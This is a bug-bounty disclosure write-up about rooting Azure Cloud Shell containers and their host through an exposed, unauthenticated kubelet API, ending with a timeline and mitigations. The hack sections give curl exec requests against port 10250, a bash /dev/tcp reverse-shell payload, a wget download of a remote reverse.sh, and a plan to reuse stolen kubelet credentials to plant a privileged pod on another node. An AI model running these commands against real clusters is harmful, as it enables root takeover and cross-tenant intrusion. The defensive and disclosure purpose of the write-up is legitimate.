I Own your Cloud Shell: Taking over “Azure Cloud Shell” Kubernetes Cluster Through Unsecured Kubelet API 30,000$ Bounty
“Azure Cloud Shell is a browser-based shell experience to manage and develop Azure resources.
Cloud Shell offers a browser-accessible, pre-configured shell experience for managing Azure resources without the overhead of installing, versioning, and maintaining a machine yourself.”
so we will start right away with how things works in the backend of “Azure Cloud Shell” service.
While I was playing around with “Azure Cloud Shell”, I Immediately noticed that I run as a low-privileged user, that is not able to do much, except running the azure-cli command(s). I tried to gain higher privileges in different ways without luck.
From the experience that I have with Containers and Kubernetes, it was easy to guess that the host(node) machine IP address is 172.17.0.1 as this is the default network interface created while installing Docker.
After failing with the Docker Remote API, I kept testing for common Kubernetes API’s and found that the read-only port (10255) is open.
NOTE: read only port output — https://pastebin.com/vPX6uNvW
As the output from the read-only port did not provide a break-through information, I tried to communicate with the kubelet API that is running on port 10250.
While creating a Kubernetes cluster, it is Important to include a certificate that will be trusted by the nodes in the cluster, and that will secure the kubelet port.
Unlike the read-only port, the kubelet port allows execution of commands on any container in the cluster with root privileges (pod name, container name and namespace is required for that).
NOTE: output of kubelet port https://pastebin.com/EVFtxY4w
as An example of a secured implementation of the kubelet certificate, I took a quick look at AKS (Azure Kubernetes Service).
When I tried to access the kubelet API on an AKS cluster, I got the following response:
HACK 1: Rooting my own “Azure Cloud Shell” Container
After I found that the execution port is accessible without authentication, that was the time to play, and try to run some commands.
The following steps were taken in order to get root access on “Azure Cloud Shell” container:
I wrote down all the necessary information to run commands on the “Cloud Shell” container from the read-only port output.
Container name: console-agent
The first try is a simple file creation with the name “hello_world” into the “/tmp” directory:
# curl — insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-agent?command=touch&command=/tmp/hello_world&input=1&output=1&tty=1"
After “Googling” around, I found that calling “Web Sockets” can be done with an NPM package called “wscat”, but there was a problem. I couldn’t install packages on the system since I did not had root access on the “Cloud Shell” container yet.
And then I came across this solution for installing NPM packages for user without “sudo” privileges:
The “solution” worked and running the wscat succeeded in opening the redirected page, which means that the execution of “touch /tmp/hello_world” command succeeded.
#/home/#user/npm/bin/wscat -c https://172.17.0.1:10250/cri/exec/HnPxVYzr — no-check
From this point, I confirmed that the commands were running as root, and I can run any command I wish to. then I wanted to achieve reverse shell with the root user on the “Cloud Shell” container.
- Created a file named reverse.sh in the /tmp directory with the following payload:
#bash -i >& /dev/tcp/i.p.a.d.d.r.e.s.s/p.o.r.t 0>&1
2. Executing the reverse shell
in order to get reverse shell executed, I repeated the same procedure for creating the hello_world file in “/tmp”, (remember — commands sent through the kubelet API, runs in the context of the root user):
curl — insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-agent?command=bash&command=/tmp/reverse.sh&input=1&output=1&tty=1"
After a long time looking for something “interesting”, I understood that no critical files are stored on the container, and that the container is built for the current customer. I couldn’t access any other container(s) on the network. Of course, that even escalating to root privileges on the container is a nice result, but not enough.
HACK 2:Breaking out of the Container and Getting root on the Host(node) of Azure’s Infrastructure
As being the root user on the container that is built just for me did not satisfy me, I analyzed the API’s output once again. while reading the outputs, I found interesting information, a container that runs in the same pod, named “console-admin”. It seemed to me like a frontend-backend game, so my current container “console-agent” is the “frontend” where I have shell access to through Azure Portal, and the console-admin is the “backend” that might be “speaking” with the host(node).
In the output of the read-only port, I found the following line interesting as it was connected to the “console-admin” container:
the “privileged:true” flag provides the container access to all kernel capabilities.
By default, containers are deployed with seccomp profile that blocks 44 critical system calls that might allow breaking out of the container into the host machine.
A privileged container has access to ALL system calls including the 44 that are blocked by default.
Going back to the mission, this time I wanted to execute reverse shell on the “console-admin” container(which I don’t have a shell access to), so I had to do a longer way:
I tried to get reverse shell on the “console-admin” container with different methods, such as bash, python, perl, curl and more. As none of them worked (because I kept getting “command not found”) I decided to install them (I had root access through the kubelet api).
Using “yum” and “apt-get” also failed with “command not found”. As I have some experience with different Linux flavors, I already knew that if both commands are not working, it is probably because the container is built on a minimized OS which is very common in the “containers” world — Alpine Linux.
Alpine Linux package manager is called APK. I executed “apk update” through the kubelet API to see if I’m correct.
#curl — insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-admin?command=apk&command=update&input=1&output=1&tty=1 curl — insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-admin?command=apk&command=update&input=1&output=1&tty=1
The next step is to install “bash” on the “console-admin” container, in order to execute the reverse shell with the bash payload:
# curl — insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-admin?command=apk&command=add&command=bash&input=1&output=1&tty=1"
The command must be separated into multiple “command” parameters because web servers does not know how to handle requests with spaces.
As I did not have shell access to the “console-admin” container, I had to download the reverse shell payload from the internet:
# curl — insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-admin?command=wget&command=https://example.com/reverse.sh?&input=1&output=1&tty=1"
The only thing left now, is to execute the reverse shell on “console-admin” container to establish the connection to C&C server:
# curl — insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-admin?command=bash&command=reverse.sh&input=1&output=1&tty=1"
As mentioned before, the container “console-admin” have the privileged flag set, and that can easily lead to take over the host machine, by mounting the root partition into the “console-admin” container.
As I had access to the node file system, I found the kubelet credentials that are located in the /var/lib/kubelet directory. The credentials can be used to interact with the Master API that runs on the Master node with the kubectl utility.
When I reported that to Microsoft, I did not try to takeover other nodes, as they belong to other customers, and Microsoft’s TOS, clearly says, stop before you access customers information. they denied that I can access other nodes(which means that I can access other user’s Cloud Shell) because “Kubernetes RBAC is in place and one cannot use exec to execute into running containers or to modify running pods” and asked for a POC If I have another way to do it after they fixed the Issue.
As I couldn’t prove that I can try to bypass Microsoft’s answer on the issue, I came up with an Idea to test it on AKS cluster (which we already know have better security than “Cloud Shell”) and prove Microsoft how one can bypass these restrictions, by deploying new pod with the following details:
Use the credentials stored on the node in order to deploy a pod with :
- A “Malicious” container Image that on init will connect to C&C server
- Privileged flag, in order to have all the kernel Capabilities on the POD
- “nodeSelctor” flag, that allows a user to choose a specific node to schedule his pod on.
The POC Video can be found on:
- On the left, I use node #0 kubelet creds in order to deploy a pod with a malicious Image, privileged flag, and selecting specific node (#2).
- On the right, in 01:45 the pod was successfully deployed on that specific node, and connected to the C&C server, have all the kernel capabilities, and mounts the node #2 filesystem.
Microsoft reply for the video was:
“The video and the steps below are for AKS and succeed because of the RBAC policies in AKS. In Cloud Shell, the RBAC policies applied are more restrictive, and something that works on AKS wouldn’t necessarily work on Cloud Shell.”
But what Microsoft did not check, is how the “NodeSelector” can be blocked, because Kubernetes RBAC is meant for blocking access to list/view/watch/delete/execute on namespaces / pods / cluster objects. NodeSelector cannot be disabled by RBAC. it can be blocked by NodeRestiction admission control.
HACK3: LPE on any container in “Azure Container Instance”
The same Issue also affected “Azure Container Service”, with a more complicated way that needed to involve a long brute-force attack for Remote command execution, but a straight-forward LPE on any container running on “Azure Container service”. I reported the issue as privilege escalation, and guess what? Microsoft rated it as “Low”. yes. If you are running a container instance on Azure, a local privilege escalation on your container, which is caused because of Microsoft’s misconfigurations, is rated as “Low” Impact for Microsoft.
20.1.2020 Report sent to Microsoft
30.1.2020 Microsoft fixes the issue
3.3.2020 Microsoft rewarded 10,000$ for Privilege escalation Impact and Severity “Important”
3.3.2020 sent complain email regarding the Impact and severity.
13.3.2020 Microsoft raises the issue reward to RCE, Awards 30,000$
Root cause & Mitigations
- Block network connection between containers(pods) and host(nodes) That can be done through IPtables.
- Use a different IP for the node instead of 172.17.0.1, by default when installing docker on a host, it creates a new network interface with the ip 172.17.0.1, someone with a little knowledge with docker containers can guess that this is the IP of the node very easily.
- Disable the read-only 10255 Port (which was used for “health” check in the past and is not needed anymore).
- Secure the 10250 (Kubelet execution port) by running the kubelet API with the flag “anonymous-auth false” and a certificate
- Block outbound connections for “suspicious” ports — I was able to create outbound connection from the pods to my server (on a different cloud provider) on port 4444.
- Remove the Privileged flag from the console-admin container, instead you can build a “seccomp” profile(https://docs.docker.com/engine/security/seccomp/) and attach it to the container, in order to minimize the container access to the kernel capabilities.